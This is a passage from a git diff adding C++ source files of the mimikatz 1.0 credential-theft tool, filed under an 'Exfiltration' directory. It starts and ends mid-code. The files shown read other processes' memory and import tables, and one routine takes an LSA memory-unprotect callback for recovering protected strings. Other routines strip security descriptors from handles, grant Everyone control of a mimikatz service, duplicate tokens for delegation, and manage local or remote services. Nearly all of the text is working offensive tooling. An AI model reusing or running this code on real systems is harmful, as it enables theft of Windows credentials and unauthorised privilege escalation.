BYTE[sizeof(IMAGE_DOS_HEADER)]; + if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess)) + { + PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast(ayIMAGE_DOS_HEADER); + if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)]; + if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess)) + { + PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast(ayIMAGE_NT_HEADERS); + if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE) + { + if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) + { + BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size]; + if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess)) + { + PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast(ayIMAGE_IMPORT_DESCRIPTOR); + if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) + { + while(structImportDesc->Characteristics) + { + DWORD i = 0; + + BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + + vector mesImports; + + for(;;) + { + if( + mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess) + && + mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess) + ) + { + PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast(ayIMAGE_THUNK_DATA_HintName); + PIMAGE_THUNK_DATA IATArray = reinterpret_cast(ayIMAGE_THUNK_DATA_IAT); + + if(HintNameArray->u1.Function) + { + KIWI_IAT_MODULE imageIAT = { + baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function), + reinterpret_cast(IATArray->u1.Function), + 0, + string() + }; + + if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal); + } + else + { + BYTE monTab[] = {0}; + long offsetToNull; + if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull]; + if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess)) + { + PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast(ayIMAGE_IMPORT_BY_NAME); + imageIAT.funcName = string(reinterpret_cast(nameImg->Name)); + } + delete [] ayIMAGE_IMPORT_BY_NAME; + } + } + + mesImports.push_back(imageIAT); + i++; + } + else break; + } + else break; + } + + delete[] ayIMAGE_THUNK_DATA_IAT; + delete[] ayIMAGE_THUNK_DATA_HintName; + + BYTE monTab[] = {0}; + long offsetToNull; + + if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + char * maLib = new char[offsetToNull+1]; + if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess)) + { + monIAT->push_back(make_pair(string(maLib), mesImports)); + } + delete [] maLib; + } + + structImportDesc++; + } + } + } + delete[] ayIMAGE_IMPORT_DESCRIPTOR; + } + } + } + delete[] ayIMAGE_NT_HEADERS; + } + } + delete[] ayIMAGE_DOS_HEADER; + + return reussite; +} + +bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess) +{ + bool reussite = false; + bool tabOk = false; + + vector * monTab; + + if(!mesProcess) + { + monTab = new vector(); + tabOk = mod_process::getList(monTab); + } + else + { + monTab = mesProcess; + } + + if(mesProcess || tabOk) + { + for(vector::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++) + { + if(reussite = (monProcess->th32ProcessID == processId)) + { + *processKiwi = *monProcess; + break; + } + } + } + + if(!mesProcess) + { + delete monTab; + } + + return reussite; +} + +bool mod_process::getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle) +{ + bool reussite = false; + PEB * monPeb = new PEB(); + if(getPeb(monPeb, processHandle)) + { + PEB_LDR_DATA * monLoader = new PEB_LDR_DATA(); + if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle)) + { + PBYTE aLire, fin; + LDR_DATA_TABLE_ENTRY monEntry; + for( + aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), + fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector); + aLire != fin; + aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) + ) + { + if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle)) + { + KIWI_VERY_BASIC_MODULEENTRY monModule = { + reinterpret_cast(monEntry.DllBase), + monEntry.SizeOfImage, + getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle) + }; + monModuleVector->push_back(monModule); + } + } + } + delete monLoader; + } + delete monPeb; + return reussite; +} + +wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + wstring maChaine; + BYTE * monBuffer = NULL; + if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction)) + { + maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length)); + } + if(monBuffer) + delete[] monBuffer; + return maChaine; +} + +bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + bool resultat = false; + + if(ptrString->Buffer && (ptrString->Length > 0)) + { + *monBuffer = new BYTE[ptrString->MaximumLength]; + if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process)) + { + if(unProtectFunction) + unProtectFunction(*monBuffer, ptrString->MaximumLength); + } + } + return resultat; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h new file mode 100644 index 0000000..a7acf18 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.h @@ -0,0 +1,84 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "secpkg.h" +#include "mod_ntddk.h" +#include "mod_memory.h" +#include "mod_text.h" +#include +#include + +class mod_process +{ +public: + typedef struct _KIWI_IAT_MODULE + { + PVOID ptrToFunc; + PVOID ptrFunc; + WORD Ordinal; + string funcName; + } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE; + + typedef struct _KIWI_PROCESSENTRY32 + { + DWORD dwSize; + DWORD cntUsage; + DWORD th32ProcessID; // this process + ULONG_PTR th32DefaultHeapID; + DWORD th32ModuleID; // associated exe + DWORD cntThreads; + DWORD th32ParentProcessID; // this process's parent process + LONG pcPriClassBase; // Base priority of process's threads + DWORD dwFlags; + wstring szExeFile; // Path + } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32; + + typedef struct _KIWI_MODULEENTRY32 + { + DWORD dwSize; + DWORD th32ModuleID; // This module + DWORD th32ProcessID; // owning process + DWORD GlblcntUsage; // Global usage count on the module + DWORD ProccntUsage; // Module usage count in th32ProcessID's context + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + HMODULE hModule; // The hModule of this module in th32ProcessID's context + wstring szModule; + wstring szExePath; + } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32; + + typedef struct _KIWI_VERY_BASIC_MODULEENTRY + { + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + wstring szModule; + } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY; + + static bool getList(vector * maProcessesvector, wstring * processName = NULL); + static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName); + + static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL); + static bool suspend(DWORD & processId); + static bool resume(DWORD & processId); + static bool stop(DWORD & processId, DWORD exitCode = 0); + + static bool debug(DWORD & processId); + + static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId); + static bool getModulesListForProcessId(vector * maModulevector, DWORD * processId = NULL); + static bool getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL); + + static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess = NULL); + + static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL); + static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp new file mode 100644 index 0000000..c14632c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_secacl.h" + +bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType) +{ + PSECURITY_DESCRIPTOR newSD = NULL; + ULONG laTaille; + bool succes = false; + + if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS) + { + switch(monType) + { + case SE_KERNEL_OBJECT: + succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0; + break; + case SE_SERVICE: + succes = SetServiceObjectSecurity(*reinterpret_cast(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0; + break; + } + LocalFree(newSD); + } + + return succes; +} + +bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle) +{ + bool reussite = false; + DWORD dwSizeNeeded = 0; + SECURITY_DESCRIPTOR monSd; + if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded]; + if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) + { + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + PSID pEveryoneSID = NULL; + if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) + { + EXPLICIT_ACCESS ForEveryOne; + RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS)); + ForEveryOne.grfAccessMode = SET_ACCESS; + ForEveryOne.grfInheritance = NO_INHERITANCE; + ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ; + ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ForEveryOne.Trustee.ptstrName = reinterpret_cast(pEveryoneSID); + + PSECURITY_DESCRIPTOR newSd = NULL; + DWORD laTaille; + if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS) + { + reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0; + LocalFree(newSd); + } + FreeSid(pEveryoneSID); + } + } + delete [] oldSd; + } + return reussite; +} + +bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid) +{ + bool reussite = false; + + wchar_t * szSid; + if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0) + { + strSid->assign(szSid); + LocalFree(szSid); + } + return reussite; +} + +bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD dwSizeName = 0; + DWORD dwSizeDomain = 0; + SID_NAME_USE nameUse; + + if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + wchar_t * monNom = new wchar_t[dwSizeName]; + wchar_t * monDomain = new wchar_t[dwSizeDomain]; + if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0) + { + strName->assign(monNom); + if(domainName) + domainName->assign(monDomain); + + if(usage) + *usage = nameUse; + } + delete[] monDomain; + delete[] monNom; + } + + return reussite; +} + +bool mod_secacl::simpleSidToString(PSID Sid, wstring * String) +{ + wstring userName; + wstring domaineName; + String->clear(); + + if(Sid) + { + if(mod_secacl::sidToName(Sid, &userName, &domaineName)) + { + String->assign(domaineName); + String->push_back(L'\\'); + String->append(userName); + } + else + mod_secacl::sidToStrSid(Sid, String); + } + if(String->empty()) + String->assign(L"(null)"); + + return true; +} + +bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD szNeeded = 0; + if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + BYTE * mesDonnees = new BYTE[szNeeded]; + if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded)) + { + TOKEN_USER * monUser = reinterpret_cast(mesDonnees); + reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage); + } + delete[] mesDonnees; + } + + return reussite; +} + +bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle) +{ + bool reussite = false; + HANDLE secToken; + if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0) + { + CloseHandle(*tokenHandle); + *tokenHandle = secToken; + } + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h new file mode 100644 index 0000000..5e8aa04 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +using namespace std; + +class mod_secacl +{ +public: + static bool simpleSidToString(PSID Sid, wstring * String); + static bool sidToStrSid(PSID Sid, wstring * strSid); + static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT); + static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + + static bool exchangeDupToken(HANDLE * tokenHandle); + static bool addWorldToMimikatz(SC_HANDLE * monHandle); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp new file mode 100644 index 0000000..c234481 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp @@ -0,0 +1,142 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_service.h" + +bool mod_service::getList(vector * monVectorService, wstring * machineName) // machine non implémenté +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE)) + { + DWORD tailleRequise = 0; + DWORD nbServices = 0; + DWORD resumeHandle = 0; + + if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA) + { + BYTE * servicesBuff = new BYTE[tailleRequise]; + ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast(servicesBuff); + if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) + { + for(DWORD i = 0; i < nbServices; i++) + { + KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess}; + monVectorService->push_back(monService); + } + } + delete[] servicesBuff; + error = GetLastError(); + } + + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implémenté +{ + bool reussite = false; + + vector * vectorServices = new vector(); + if(getList(vectorServices, machineName)) + { + for(vector::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++) + { + if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0)) + { + *monService = *monSvc; + break; + } + } + } + delete vectorServices; + + return reussite; +} + +bool mod_service::start(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START)) + { + if(!(reussite = StartService(monService, 0, NULL) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + + return reussite; +} + +bool mod_service::remove(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE)) + { + if(!(reussite = DeleteService(monService) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + +bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess)) + { + if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::stop(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName)); +} + +bool mod_service::suspend(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName)); +} + +bool mod_service::resume(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName)); +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h new file mode 100644 index 0000000..b438454 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.h @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" + +class mod_service +{ +private: + static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL); + +public: + typedef struct _KIWI_SERVICE_STATUS_PROCESS + { + wstring serviceName; + wstring serviceDisplayName; + SERVICE_STATUS_PROCESS ServiceStatusProcess; + } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS; + + static bool getList(vector * monVectorService, wstring * machineName = NULL); + static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL); + + static bool start(wstring * serviceName, wstring * machineName = NULL); + static bool suspend(wstring * serviceName, wstring * machineName = NULL); + static bool resume(wstring * serviceName, wstring * machineName = NULL); + static bool stop(wstring * serviceName, wstring * machineName = NULL); + + static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ? + + static bool add(wstring * binPath, vector * arguments); // bla bla + static bool remove(wstring * serviceName, wstring * machineName = NULL); + static bool control(vector * arguments); + +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp new file mode 100644 index 0000000..7a79a76 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp @@ -0,0 +1,208 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_system.h" + +OSVERSIONINFOEX mod_system::GLOB_Version; + +wstring mod_system::getWinError(bool automatique, DWORD code) +{ + bool reussite = false; + DWORD dwError = (automatique ? GetLastError() : code); + wostringstream resultat; + wchar_t * monBuffer = NULL; + + resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')'; + if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0)) + reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0; + + if(reussite) + { + resultat << L' ' << monBuffer; + LocalFree(monBuffer); + } + else resultat << L" * Impossible d\'obtenir un message *"; + + return resultat.str(); +} + +bool mod_system::getUserName(wstring * monUserName) +{ + bool reussite = false; + unsigned long tailleRequise = 0; + + if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0)) + { + monUserName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getComputerName(wstring * monComputerName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0)) + { + monComputerName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getVersion(OSVERSIONINFOEX * maVersion) +{ + RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX)); + maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + return (GetVersionEx(reinterpret_cast(maVersion)) != 0); +} + +bool mod_system::getCurrentDirectory(wstring * monRepertoire) +{ + bool reussite = false; + DWORD tailleRequise = GetCurrentDirectory(0, NULL); + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1) + { + monRepertoire->assign(monBuffer); + reussite = true; + } + delete monBuffer; + return reussite; +} + +bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse) +{ + bool reussite = false; + wchar_t monBuffer[MAX_PATH]; + + if(PathIsRelative(thisData.c_str())) + { + wstring monRep = L""; + if(reussite = getCurrentDirectory(&monRep)) + { + PathCombine(monBuffer, monRep.c_str(), thisData.c_str()); + reponse->assign(monBuffer); + } + } + else + { + if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0)) + { + reponse->assign(monBuffer); + } + } + return reussite; +} + +bool mod_system::isFileExist(std::wstring &fichier, bool *resultat) +{ + bool reussite = false; + HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE)) + { + CloseHandle(monFichier); + *resultat = true; + } + else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND)) + { + *resultat = false; + } + return reussite; +} + +bool mod_system::getSystemHandles(vector * mesHandles, DWORD * pid) +{ + bool reussite = false; + + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { + DWORD size = 0x10000; + BYTE * monBuffer = new BYTE[size]; + ULONG sizeReturn = 0; + NTSTATUS status; + + while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH) + { + delete[] monBuffer; + size <<= 1; + monBuffer = new BYTE[size]; + } + + if(reussite = NT_SUCCESS(status)) + { + PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast(monBuffer); + for(DWORD i = 0; i < mesInfos->HandleCount; i++) + { + if(!pid || *pid == mesInfos->Handles[i].ProcessId) + mesHandles->push_back(mesInfos->Handles[i]); + } + } + + delete[] monBuffer; + } + + return reussite; +} + +bool 